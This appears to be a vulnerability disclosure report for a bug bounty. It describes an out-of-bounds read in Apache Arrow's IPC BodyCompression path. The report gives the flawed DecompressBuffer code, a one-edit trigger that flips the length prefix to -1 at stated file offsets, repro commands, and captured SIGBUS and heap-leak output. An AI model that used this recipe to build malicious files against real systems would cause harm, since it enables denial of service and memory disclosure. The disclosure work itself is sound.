EnigmaConsultant/huntr-poc-arrow-ipc-compression-neg1-sentinel-oob

Arrow IPC BodyCompression -1 "stored-uncompressed" sentinel yields an undersized data buffer, causing OOB read (SIGBUS DoS + silent adjacent-heap info-leak) on the default read+materialize path

Deterministic SIGBUS (DoS) and silent out-of-bounds heap read (info disclosure) on the default read+materialize path of an untrusted compressed .arrow / .arrows file, triggered by a single 8-byte edit.

Target

• Project: Apache Arrow (C++ core libarrow, exercised via pyarrow)
• Component: Arrow IPC reader — BodyCompression (LZ4_FRAME / ZSTD) per-buffer decode path
• Verified against: pyarrow 25.0.0 (latest PyPI), libarrow.so.2500, Linux x86-64
• Source reference: cpp/src/arrow/ipc/reader.cc (Arrow 25.0.0), function DecompressBuffer
• Reachable via: pyarrow.ipc.open_file (IPC file container) and pyarrow.ipc.open_stream (IPC stream container), on a file written with compression="lz4" or compression="zstd".

Root cause

Each buffer in a compressed IPC message is framed as [int64 uncompressed_length LE][compressed bytes]. Per the Arrow IPC spec, an uncompressed_length of -1 means "this buffer is stored uncompressed". DecompressBuffer handles that sentinel by simply slicing off the 8-byte prefix and using the remaining bytes verbatim:

// cpp/src/arrow/ipc/reader.cc  (Arrow 25.0.0)  -- DecompressBuffer
int64_t compressed_size = buf->size() - sizeof(int64_t);
int64_t uncompressed_size =
    bit_util::FromLittleEndian(util::SafeLoadAs<int64_t>(buf->data()));
if (uncompressed_size == -1) {
    return SliceBuffer(buf, sizeof(int64_t), compressed_size);   // reader.cc:560-561
}
// ... normal branch: allocate uncompressed_size, decompress, then
// validate  actual_decompressed == uncompressed_size

The normal (decompress) branch validates actual_decompressed == uncompressed_size, but neither branch checks the resulting buffer size against the array length declared in the FieldNode. The -1 branch is the clean exploit primitive: it lets an attacker present the (small) raw compressed byte-stream as if it were the full uncompressed buffer. When the primitive array (FieldNode.length elements × element width) is materialized, the reader walks off the end of the undersized buffer.

Reachable only through the BodyCompression path — DecompressBuffer runs only when compression != UNCOMPRESSED.

Trigger (single 8-byte edit)

1. Write a highly-compressible column (e.g. int32 [0]*100000 → 400000 bytes uncompressed) with compression="zstd" (or "lz4"); the compressed data-buffer body is only 26–34 bytes (`[int64 400000][26 zstd bytes]`).
2. Overwrite the 8-byte uncompressed_length prefix 400000 → -1.
3. Read on the default path: open_file(pa.memory_map(poc)).read_all() succeeds (no validation), then column(0).to_pylist() reads ~400000 bytes out of the ~26-byte sliced buffer.

Prefix location in the artifacts: file offset 304 in poc_comp_zstd.arrow, 296 in poc_comp_lz4.arrow (both reported by build_compressible.py / parse_ipc.py).

Outcomes (all: read_all() returns READ_OK rows=100000 first, then the OOB during materialize)

access path	result
pa.memory_map(poc) + open_file / open_stream → to_pylist()	deterministic SIGBUS (rc=-7), 3/3 (LZ4 and ZSTD)
pa.py_buffer(bytes) (in-memory) + open_file → to_pylist()	silent OOB heap read: materializes 100000 int32 of adjacent heap ([-47205080, 102400160, 21504, …], leaked pointer halves like 32679), exit 0

Negative control: unmodified comp_zstd.arrow / comp_lz4.arrow → READ_OK rows=100000, MAT_OK head=[0,0,0,0] tail=[0,0,0,0], exit 0.

Captured evidence (verbatim, pyarrow 25.0.0)

poc_run.py (memory-mapped path):

==================== comp_zstd.arrow prefix@ 304 ====================
[control unmodified] rc=0  out=READ_OK rows=100000 MAT_OK len=100000 head=[0, 0, 0, 0, 0, 0]
[flip prefix 400000 -> -1] wrote poc_comp_zstd.arrow
  trial0 rc=-7 <<< SIGBUS  out=READ_OK rows=100000
  trial1 rc=-7 <<< SIGBUS  out=READ_OK rows=100000
  trial2 rc=-7 <<< SIGBUS  out=READ_OK rows=100000

(LZ4 identical: comp_lz4.arrow → 3/3 rc=-7.)

GDB backtrace — READ_OK prints first (read_all did not validate); fault occurs during materialize:

READ_OK rows=100000
Thread 1 "python3" received signal SIGBUS, Bus error.
#0  arrow::internal::ScalarFromArraySlotImpl::Finish() && [libarrow.so.2500]
#1  arrow::Array::GetScalar(long) const [libarrow.so.2500]
#2  __pyx_f_7pyarrow_3lib_5Array_getitem(...) [pyarrow/lib...so]
#6  __pyx_pw_7pyarrow_3lib_5Array_72to_pylist(...)

In-memory silent heap leak (pa.py_buffer, pybuf_worker.py):

poc_comp_zstd.arrow  py_buffer rcs=[0,0,0]  READ_OK rows=100000 | MAT_OK len=100000 head=[-47205080, 102400160, 21504, 16777232] tail=[-1674585360, 32679, -1674585328, 32679]
poc_comp_lz4.arrow   py_buffer rcs=[0,0,0]  READ_OK rows=100000 | MAT_OK len=100000 head=[407708164, 197148736, 520093697, -16776960]

Stream container (open_stream, mmap):

open_stream mmap POC rcs= [-7, -7, -7]
open_stream mmap control rc= [0]

Validate gap — the cheap Table.validate() does catch it, but it is not called on the read path:

cheap_validate: RAISE ArrowInvalid Column 0: In chunk 0: Invalid: Buffer #1 too small in array of type int32

Impact

• DoS / memory-safety: a single untrusted compressed .arrow/.arrows file deterministically crashes (SIGBUS) any consumer that reads + materializes a primitive column on the default path when the input is memory-mapped (the common zero-copy path). No validate() is required or performed by the read path.
• Information disclosure: on the in-memory path the same file silently returns adjacent heap bytes (including pointer values) as legitimate column data with exit 0 — undetected leakage into application data.

Dedup / prior-art

Distinct from other Arrow IPC findings in this audit — (1) string/binary offset OOB, (2) list<int32> offset OOB in ArrayData::Slice, (3) negative dictionary-index OOB. Those corrupt offset/index buffer contents; this corrupts the data buffer size via the compression length prefix, and is reachable only through the BodyCompression decode path (DecompressBuffer, invoked only when compression != UNCOMPRESSED). A prior probe of this area concluded the compression path was "fully hardened (decompress-size-mismatch rejected)"; that probe missed the -1 sentinel, which skips decompression entirely and is therefore not a decompress-size-mismatch. No CVE was found for this specific -1-sentinel undersized-buffer default-read-path OOB.

Reproduce

python build_compressible.py zstd 100000 comp_zstd.arrow   # build compressible control + report prefix offset
python build_compressible.py lz4  100000 comp_lz4.arrow
python poc_run.py                                          # flips prefix -> -1, runs mmap control + 3 POC trials
python pybuf_worker.py poc_comp_zstd.arrow                 # in-memory silent heap-leak path

Artifacts

• build_compressible.py — builds the compressible base files + reports prefix offsets
• comp_zstd.arrow, comp_lz4.arrow — valid controls (all zeros)
• poc_comp_zstd.arrow, poc_comp_lz4.arrow — prefix flipped to -1 (SIGBUS / heap-leak)
• poc_comp_stream.arrows — stream-container variant (SIGBUS via open_stream)
• poc_run.py, pybuf_worker.py, parse_ipc.py — drivers / IPC layout parser
• README_compression.md — original working notes